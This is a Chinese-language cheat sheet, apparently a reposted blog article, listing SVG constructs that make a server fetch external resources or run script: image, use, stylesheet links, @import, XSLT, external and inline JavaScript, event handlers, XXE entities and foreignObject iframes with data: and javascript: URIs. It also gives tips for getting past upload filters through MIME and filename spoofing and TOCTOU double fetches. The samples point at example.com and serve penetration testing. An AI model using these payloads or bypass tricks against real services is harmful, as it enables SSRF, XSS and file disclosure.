SSRF之SVG备忘单

admin 2023年5月16日11:45:17评论90 views字数 6508阅读21分41秒阅读模式

由于SVG的丰富功能集,处理SVG的主机可能容易受到SSRF、LFI、XSS、RCE的攻击。

所有这些方法都指定一个URI,它可以是绝对的或相对的。文件和HTTP协议对测试很重要,但它也可以支持其他协议,具体取决于实现(例如PHP流方案),包括javascript:和data:。

本文档包含我所知道的在SVG中滥用此功能的所有方式的列表。

请注意,一些声称不接受SVG作为输入格式的服务实际上需要一点哄骗。

  • 对于上传,请发送JPEG/PNG mime类型和文件名。
  • 对于下载,请提供JPEG/PNG文件名和MIME类型。如果被拒绝,请检查URL上的TOCTOU(双重提取)以及它是否遵循重定向。
  • 我还没有看到它,但Mime嗅探混淆可能也是可能的Mime嗅探混淆因为SVG很难嗅探,因为它可以从额外的XML垃圾开始。事实上,AFAICT标准file命令不包含任何SVG魔法,因此它可能取决于各个实现。

Images

SVG可以直接通过标签包含外部图像<image>

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

请注意,您也可以使用它来包含其他SVG图像。

标签<use>

SVG可以通过标签包含外部SVG内容<use>

文件 1.svg:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

文件 2.svg:

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
 <link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS

CSS样式表<link>

SVG可以通过标签包含外部样式表<link>,就像html一样。

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
 <link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS样式表通过@include

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS样式表通过<?xml-stylesheet?>

<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

XSLT

SVG可以通过<?xml-stylesheet?>.令人惊讶的是,这似乎在chrome中有效。

<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>

注意:由于XSLT的性质,如果忽略xml样式表,输入实际上不必是有效的SVG文件,但绕过过滤器很有用。

另外,因为我对学习XSLT没有兴趣,所以这个模板只是用新图像完全替换了整个“旧”图像。

Javascript

Inline

SVG可以原生包含内联 javascript,就像HTML一样。

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill""blue");
   // ]]>
  </script>
</svg>

外部的

SVG还可以包含外部脚本。

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

事件内联

SVG还可以具有在加载时执行的内联事件处理程序。

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>

您还可以将处理程序绑定到动画和其他一些事件。阅读SVG规范。

XXE

因为SVG是XML,它也可以有XXE:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
  <!-- an internal subset can be embedded here -->
  <!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="20" y="35">My &xxe;</text>
</svg> 

foreignObject

标签<foreignObject>太疯狂了。它可用于在SVG中包含任意(X)HTML。例如,要包含一个 iframe:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="http://example.com/"/>
  </foreignObject>
</svg>

如果您没有网络访问权限(例如沙箱),您可以将数据URI或javascript uri作为 iframe的目标:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
     <iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
k   <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
  </foreignObject>
</svg>

如果您没有足够的SVG,您还可以通过<object><embed>标签包含更多VG。我认为理论上可能也可以将Flash放在那里。

请注意,还因为您位于不同的XML名称空间中,所以仅剥离的任何内容svg:script可能都没有剥离html:script(或类似的属性)。

其他

如果您想这样做,可以包含外部字体,我认为可以通过CSS和本机属性来实现。这并不是很有用,因为出于某种原因我不太了解与字体资源的DRM相关的webfonts 需要CORS以防止热链接。我想有时会有字体引擎漏洞。

文本 这个来自SVG规范的示例显示使用tref节点通过URI引用文本,但是它似乎在我尝试过的任何查看器中都不起作用。如果有支持它的实现,它可能还支持tref中 href 的外部URI。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
     xmlns="http://www.w3.org/2000/svg" version="1.1"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <text id="ReferencedText">
      Referenced character data
    </text>
  </defs>
  <desc>Example tref01 - inline vs reference text content</desc>
  <text x="100" y="100" font-size="45" fill="blue" >
    Inline character data
  </text>
  <text x="100" y="200" font-size="45" fill="red" >
    <tref xlink:href="#ReferencedText"/>
  </text>
  <!-- Show outline of canvas using 'rect' element -->
  <rect x="1" y="1" width="998" height="298"
        fill="none" stroke="blue" stroke-width="2" />
</svg>

SSRF之SVG备忘单

原文始发于微信公众号(沐桉安全Mua):SSRF之SVG备忘单

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日11:45:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF之SVG备忘单https://cn-sec.com/archives/1736446.html

发表评论

匿名网友 填写信息